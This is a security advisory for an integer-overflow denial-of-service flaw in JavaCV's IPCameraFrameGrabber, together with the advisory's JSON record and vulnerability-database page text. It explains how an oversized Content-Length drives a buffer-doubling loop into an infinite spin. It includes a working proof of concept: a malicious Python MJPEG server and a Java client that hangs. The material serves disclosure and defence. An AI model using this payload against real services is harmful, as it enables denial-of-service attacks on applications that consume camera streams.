GHSA-RXJV-24XQ-76WC
Vulnerability from github – Published: 2026-10-16 19:53 – Updated: 2026-10-16 19:53Summary
IPCameraFrameGrabber parses the Content-Length value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over http://, as documented in the class itself) - can supply a Content-Length value in the range 1073741825-2147483647. This drives the internal buffer-growth routine ensureBufferCapacity(int) into 32-bit signed integer overflow, which turns the "grow the buffer" loop into a true infinite loop: the loop variable oscillates to 0 and never again satisfies the loop's exit condition. The thread that called grab()/grabBufferedImage() spins at 100% CPU forever and never returns, permanently hanging the calling application's frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.
Details
File: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java
private byte[] readImage() throws IOException {
...
int c0 = subheader.indexOf("content-length: ");
final int c1 = subheader.indexOf('\r', c0);
if (c0 < 0) {
throw new EOFException("The camera stream ended unexpectedly");
}
c0 += 16;
final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim()); // <-- fully attacker-controlled
// adaptive size - careful - don't want a 2G jpeg
ensureBufferCapacity(contentLength); // <-- no upper bound enforced
input.readFully(pixelBuffer, 0, contentLength);
...
}
private void ensureBufferCapacity(int desiredCapacity) {
int capacity = pixelBuffer.length; // starts at 1024
while (capacity < desiredCapacity) {
capacity *= 2; // <-- unchecked int multiplication
}
if (capacity > pixelBuffer.length) {
pixelBuffer = new byte[capacity];
}
}
contentLength is taken verbatim from the HTTP response headers of the camera stream and passed directly into ensureBufferCapacity with no upper-bound validation (the comment "adaptive size - careful - don't want a 2G jpeg" shows the author was aware of the risk but never implemented a check).
ensureBufferCapacity repeatedly doubles capacity (a 32-bit int, starting at pixelBuffer.length == 1024) until it is >= desiredCapacity. If desiredCapacity is greater than 2^30 (1073741824) but <= Integer.MAX_VALUE (2147483647):
capacityreaches2^30(1073741824) after 20 doublings; the loop conditioncapacity < desiredCapacityis still true.capacity *= 2computes2^31, which overflows a signed 32-bitintand wraps toInteger.MIN_VALUE(-2147483648).- The loop condition
capacity < desiredCapacity(a negative number compared to a large positivedesiredCapacity) is still true, so the loop continues. capacity *= 2computesInteger.MIN_VALUE * 2, which in two's-complement 32-bit arithmetic wraps to0.- From this point on,
capacityis permanently0(0 * 2 == 0), and0 < desiredCapacityremains true forever - thewhileloop never terminates.
This is a pure CPU-bound loop with no I/O, no blocking call, and no InterruptedException check, so it cannot be interrupted via Thread.interrupt() and will not respect any readTimeout/connectionTimeout configured on the grabber (those only apply to the socket read that happens before this code path). The only remedy is killing the JVM/thread from outside.
PoC
A minimal malicious/MITM'd MJPEG server that reproduces the hang:
import socket
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096) # swallow the client's request
# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
"--myboundary\r\n"
"Content-Type: image/jpeg\r\n"
"Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.
Java client (representative of any application embedding javacv to view an "IP camera" URL):
import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;
public class Poc {
public static void main(String[] args) throws Exception {
IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
"http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
grabber.start();
grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
}
}
Running the client against the malicious server above causes grab() to hang permanently, consuming a full CPU core, regardless of the startTimeout/grabTimeout passed to the constructor.
Impact
Any application that uses IPCameraFrameGrabber to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain http:// streams (as shown in the class's own documented examples: http://host/videostream.cgi?...) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.bytedeco:javacv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102834"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-16T19:53:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`IPCameraFrameGrabber` parses the `Content-Length` value from the multipart MJPEG HTTP stream returned by the configured IP camera without any bounds checking. A malicious or compromised camera endpoint - or any network attacker able to tamper with the plaintext HTTP response (these streams are conventionally accessed over `http://`, as documented in the class itself) - can supply a `Content-Length` value in the range `1073741825`-`2147483647`. This drives the internal buffer-growth routine `ensureBufferCapacity(int)` into 32-bit signed integer overflow, which turns the \"grow the buffer\" loop into a true infinite loop: the loop variable oscillates to `0` and never again satisfies the loop\u0027s exit condition. The thread that called `grab()`/`grabBufferedImage()` spins at 100% CPU forever and never returns, permanently hanging the calling application\u0027s frame-grabbing thread with no exception, timeout, or interrupt path available to the caller.\n\n### Details\nFile: `src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java`\n\n```java\nprivate byte[] readImage() throws IOException {\n ...\n int c0 = subheader.indexOf(\"content-length: \");\n final int c1 = subheader.indexOf(\u0027\\r\u0027, c0);\n if (c0 \u003c 0) {\n throw new EOFException(\"The camera stream ended unexpectedly\");\n }\n c0 += 16;\n final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim()); // \u003c-- fully attacker-controlled\n // adaptive size - careful - don\u0027t want a 2G jpeg\n ensureBufferCapacity(contentLength); // \u003c-- no upper bound enforced\n input.readFully(pixelBuffer, 0, contentLength);\n ...\n}\n\nprivate void ensureBufferCapacity(int desiredCapacity) {\n int capacity = pixelBuffer.length; // starts at 1024\n while (capacity \u003c desiredCapacity) {\n capacity *= 2; // \u003c-- unchecked int multiplication\n }\n if (capacity \u003e pixelBuffer.length) {\n pixelBuffer = new byte[capacity];\n }\n}\n```\n\n`contentLength` is taken verbatim from the HTTP response headers of the camera stream and passed directly into `ensureBufferCapacity` with no upper-bound validation (the comment \"adaptive size - careful - don\u0027t want a 2G jpeg\" shows the author was aware of the risk but never implemented a check).\n\n`ensureBufferCapacity` repeatedly doubles `capacity` (a 32-bit `int`, starting at `pixelBuffer.length == 1024`) until it is `\u003e= desiredCapacity`. If `desiredCapacity` is greater than `2^30` (`1073741824`) but `\u003c= Integer.MAX_VALUE` (`2147483647`):\n\n1. `capacity` reaches `2^30` (`1073741824`) after 20 doublings; the loop condition `capacity \u003c desiredCapacity` is still true.\n2. `capacity *= 2` computes `2^31`, which overflows a signed 32-bit `int` and wraps to `Integer.MIN_VALUE` (`-2147483648`).\n3. The loop condition `capacity \u003c desiredCapacity` (a negative number compared to a large positive `desiredCapacity`) is still true, so the loop continues.\n4. `capacity *= 2` computes `Integer.MIN_VALUE * 2`, which in two\u0027s-complement 32-bit arithmetic wraps to `0`.\n5. From this point on, `capacity` is permanently `0` (`0 * 2 == 0`), and `0 \u003c desiredCapacity` remains true forever - the `while` loop never terminates.\n\nThis is a pure CPU-bound loop with no I/O, no blocking call, and no `InterruptedException` check, so it cannot be interrupted via `Thread.interrupt()` and will not respect any `readTimeout`/`connectionTimeout` configured on the grabber (those only apply to the socket read that happens *before* this code path). The only remedy is killing the JVM/thread from outside.\n\n### PoC\nA minimal malicious/MITM\u0027d MJPEG server that reproduces the hang:\n\n```python\nimport socket\n\nsrv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsrv.bind((\"0.0.0.0\", 8080))\nsrv.listen(1)\nprint(\"listening on :8080\")\nconn, _ = srv.accept()\nconn.recv(4096) # swallow the client\u0027s request\n\n# Any value in (1073741824, 2147483647] triggers the overflow.\nmalicious_length = 2000000000\nheader = (\n \"--myboundary\\r\\n\"\n \"Content-Type: image/jpeg\\r\\n\"\n \"Content-Length: %d\\r\\n\\r\\n\" % malicious_length\n)\nconn.sendall(header.encode())\n# The client will now spin forever inside ensureBufferCapacity()\n# before ever attempting to read the (fake) body.\n```\n\nJava client (representative of any application embedding javacv to view an \"IP camera\" URL):\n\n```java\nimport org.bytedeco.javacv.IPCameraFrameGrabber;\nimport java.util.concurrent.TimeUnit;\n\npublic class Poc {\n public static void main(String[] args) throws Exception {\n IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(\n \"http://127.0.0.1:8080/videostream.cgi\", 5, 5, TimeUnit.SECONDS);\n grabber.start();\n grabber.grab(); // never returns; thread pegs a CPU core at 100% forever\n }\n}\n```\n\nRunning the client against the malicious server above causes `grab()` to hang permanently, consuming a full CPU core, regardless of the `startTimeout`/`grabTimeout` passed to the constructor.\n\n### Impact\nAny application that uses `IPCameraFrameGrabber` to consume a camera/MJPEG stream from a source that is not fully trusted - including the common case of plain `http://` streams (as shown in the class\u0027s own documented examples: `http://host/videostream.cgi?...`) that can be tampered with by a network-position attacker - can be forced into a permanent, unrecoverable CPU-spinning hang of the grabbing thread by a single crafted response header. No authentication, JPEG payload, or actual data transfer is required; the malicious header alone is sufficient. Repeated exploitation against a server that spawns a grabber thread per client/camera (a common pattern for video-surveillance/monitoring backends) can exhaust available threads/CPU, resulting in a broader denial of service.",
"id": "GHSA-rxjv-24xq-76wc",
"modified": "2026-10-16T19:53:06Z",
"published": "2026-10-16T19:53:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bytedeco/javacv/security/advisories/GHSA-rxjv-24xq-76wc"
},
{
"type": "WEB",
"url": "https://github.com/bytedeco/javacv/commit/cd1977800b827beadf3c53c4032e57172845e0b4"
},
{
"type": "PACKAGE",
"url": "https://github.com/bytedeco/javacv"
},
{
"type": "WEB",
"url": "https://github.com/bytedeco/javacv/releases/tag/1.5.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "JavaCV: Integer Overflow in IPCameraFrameGrabber Causes Infinite-Loop DoS"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.